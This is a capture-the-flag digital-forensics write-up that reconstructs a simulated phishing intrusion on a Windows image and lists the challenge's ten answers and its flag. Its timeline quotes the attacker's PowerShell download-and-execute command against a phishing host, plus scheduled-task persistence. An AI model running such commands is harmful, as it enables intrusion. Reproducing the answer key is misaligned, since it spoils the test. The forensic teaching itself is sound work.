TraceVX ? WIN-TRACE-01 intrusion (17 Sep 2026, 14:32)

Flag: TVX{Ahmed@WIN-TRACE-01_TraceTelemetry-185.192.48.239_8MiB_411ff385}
(verified live twice against nc 169.58.174.26 1337 ? all 10 answers CONFIRMED)

The image

traceVX.zip contains one file, traceVX.ad1 ? an FTK Imager logical image.
It was extracted with the open-source AD1-tools (ad1info / ad1extract,
built from github.com/al3ks1s/AD1-tools, libad1 without the FUSE file):

```
./ad1info    -i traceVX.ad1 -t        # 1,199 files
./ad1extract -i traceVX.ad1 -d files -m
```

Per C:\ProgramData\TraceCache\README.txt, the native artifacts are:
disk.img (raw, carvable), SRUDB.sqlite, $MFT.bin (UTF-16 paths),
*.jsonl.gz event logs, *.pf prefetch, and url_reputation.bin (XOR).
Everything else ? 450 cache_*.log files, five users' worth of documents,
browser histories, PSReadLine histories, Shimcache/Amcache ? is mostly
noise. The trick the prompt hints at is real: every genuine artifact
lines up on 2026-09-17 in the 14:31?14:32 minute, under one account, with
non-:00 seconds, while decoys sit on round hours / other days.

Timeline (all UTC, all Ahmed)

Time	Source	Event
14:31:12	Edge History (Ahmed)	https://cutt.ly/ms-portal-login
14:31:38	Edge History	https://t2m.io/r/8fJ2qA (second shortener hop)
14:31:51	Edge History .jsonl.gz + Security 4624	final landing https://xn--login-microsoftnline-8sb.secure-verify.cc/auth/signin?src=mail; logon by Ahmed
14:32:18	PowerShell 4104 + Prefetch POWERSHELL.EXE-9A3B.pf (SCCA, FirstRun 14:32:18, Runs=1, User=Ahmed)	IWR hxxps://xn--login-microsoftnline-8sb.secure-verify.cc/a | iex ; schtasks /create /tn TraceTelemetry
14:32:20	USN journal CREATE	C:\Users\Ahmed\AppData\Local\Temp\k29x8\stage.cmdline
14:32:27	USN + $MFT DELETE	stage.cmdline wiped ? 7 seconds after creation
14:32:31	$MFT CREATE	C:\ProgramData\Microsoft\UpdateCache\UpdaterService.exe (side file)
14:32:36	$MFT + USN CREATE	C:\ProgramData\Microsoft\UpdateCache\Navigator.exe ? the dropped payload
14:32:40	Tasks\TraceTelemetry.xml Date	persistence task registered, Author Ahmed

The ten answers, in investigative order

1. Patient-zero account ? Ahmed. Only Ahmed lines up across SRUDB,
   the 14:32 prefetch, the staged temp file (under his profile) and the
   persistence task. Other accounts (Administrator, ITAdmin, Sara, Guest)
   each own separate decoy chains: Guest/helper.exe beaconing to
   203.0.113.77:8080 on Sep 9, ITAdmin/AuditRepair.exe to
   198.51.100.44:53 on Sep 28 ? both RFC 5737 TEST-NET addresses.

2. Phishing host ? login-microsoftonline.secure-verify.cc. Not in
   cleartext: ProgramData\Microsoft\Windows\Defender\Support\url_reputation.bin
   starts TVXURLv1\0 followed by XOR-encoded bytes. The C2 is
   185.192.48.239, and (185+192+48+239) & 0xFF = 664 & 0xFF = 152 = 0x98.
   XOR-ing with 0x98 gives
   https://login-microsoftonline.secure-verify.cc/auth/signin ? the
   decoded form of the punycode (xn--?) homoglyph in the browser history.

Note the spelling trap: the punycode label reads microsoftnline (no ?o?), the XOR file has the full microsoftonline.

3. Landing-page timestamp ? 2026-09-17T14:31:51Z. In Ahmed's Edge History.jsonl.gz, the load immediately before the 14:32:18 PowerShell run is the final punycode sign-in URL at 14:31:51 (the 14:31:12 cutt.ly and 14:31:38 t2m.io loads are the redirect hops into it).

4. Executing process ? powershell.exe. Two prefetch files exist for PowerShell; only POWERSHELL.EXE-9A3B.pf is a real binary SCCA prefetch (the other, -7446.pf, is a text simulator stub, as are all the other .pf files). It records FirstRun 2026-09-17 14:32:18, Runs=1, User=Ahmed ? matching the single non-round PowerShell-Operational 4104 event at 14:32:18Z.

5. Staging file ? stage.cmdline. $MFT.bin stores paths in UTF-16, so a plain ASCII grep misses it; strings -el $MFT.bin (or the USN journal) shows ?\Temp\k29x8\stage.cmdline, CREATE 14:32:20 / DELETE 14:32:27.

6. Dropped binary ? Navigator.exe. Created 14:32:36 in C:\ProgramData\Microsoft\UpdateCache\, and it is what the persistence task launches. Carving proves which file it is: disk.img contains exactly two proper gzip streams (1f 8b 08) ? at 0x4D000 and 0x120000. Gunzipping 0x4D000 gives a PE whose metadata reads OriginalFilename=NavigatorCore.dll, CompanyName=Acme Telemetry, C2=185.192.48.239:443, Account=Ahmed. The 0x120000 stream is the benign decoy (?MZ benign updater stub ? harmless?). Caution from the live run: NavigatorCore.dll is the carved file's *internal* name and is not the accepted answer ? the dropped filename is Navigator.exe.

7. SHA-256 of the carved, decompressed PE ? 411ff3850c2ed96028e4f39184fed07c3fdacf56936e03581ce479c6ed7ab8cd (4,346 bytes). Not any hash printed as text in the image ? the two PE stubs in AcmeUpdate\cache carry plausible-looking SHA256 strings (one even ends ?12345); both are decoys, as are their files' real hashes.

8. Persistence task ? TraceTelemetry. Windows\System32\Tasks\TraceTelemetry.xml: Date 2026-09-17T14:32:40Z, Author Ahmed, a LogonTrigger for WIN-TRACE-01\Ahmed, action C:\ProgramData\Microsoft\UpdateCache\Navigator.exe. Decoys: Guest_MediaSync (Guest, helper.exe) and ITAdmin_Audit.

9. C2 endpoint ? 185.192.48.239:443. Stated inside the carved PE (C2=185.192.48.239:443) and corroborated by SRUDB: Navigator.exe is the dropped binary that talks to it. Guest/ITAdmin beacons use RFC 5737 decoy IPs, and ordinary apps talk to ordinary Microsoft/Google IPs.

10. Total exfiltrated (outbound) ? 8388608 bytes (8 MiB). From SRUDB.sqlite (network_usage): SUM(bytes) WHERE remote_ip='185.192.48.239' AND direction='outbound' AND app IN ('Navigator.exe','AdaptConductor.exe') = Navigator.exe 5,242,880 (14:31:51Z) + AdaptConductor.exe 3,145,728 (15:48:02Z) = 8,388,608. The Navigator.exe *inbound* 1,432,290-byte row (16:10:11Z) is a task result/download and is excluded. The flag itself encodes this check: ?_8MiB_411ff385.

Solver

solvers/solve_01_tracevx.py opens the analyst service, asks hint at

each question (hints do not consume an attempt), submits the ten answers above in order, and prints the flag. solvers/solve_all.py runs it and reports 1/1.

```
unzip tracevx_writeup.zip && cd tracevx_writeup
python3 solvers/solve_all.py
```

TVX{Ahmed@WIN-TRACE-01_TraceTelemetry-185.192.48.239_8MiB_411ff385}
1/1 challenges solved

Fresh-unzip test: 1/1 (flag captured live on a clean session, no wasted attempts ? Q6 is answered Navigator.exe, not the internal DLL name).

Lesson

One minute, one account, one chain. In a sea of generated noise the real intrusion was the only set of records that agreed with each other across independent artifacts ? browser, Security log, PowerShell, prefetch, USN, $MFT, scheduled task, SRUM and a carved payload ? and the decoys betrayed themselves by round-hour timestamps, TEST-NET IPs, text-stub hashes, and internal-vs-on-disk name mismatches.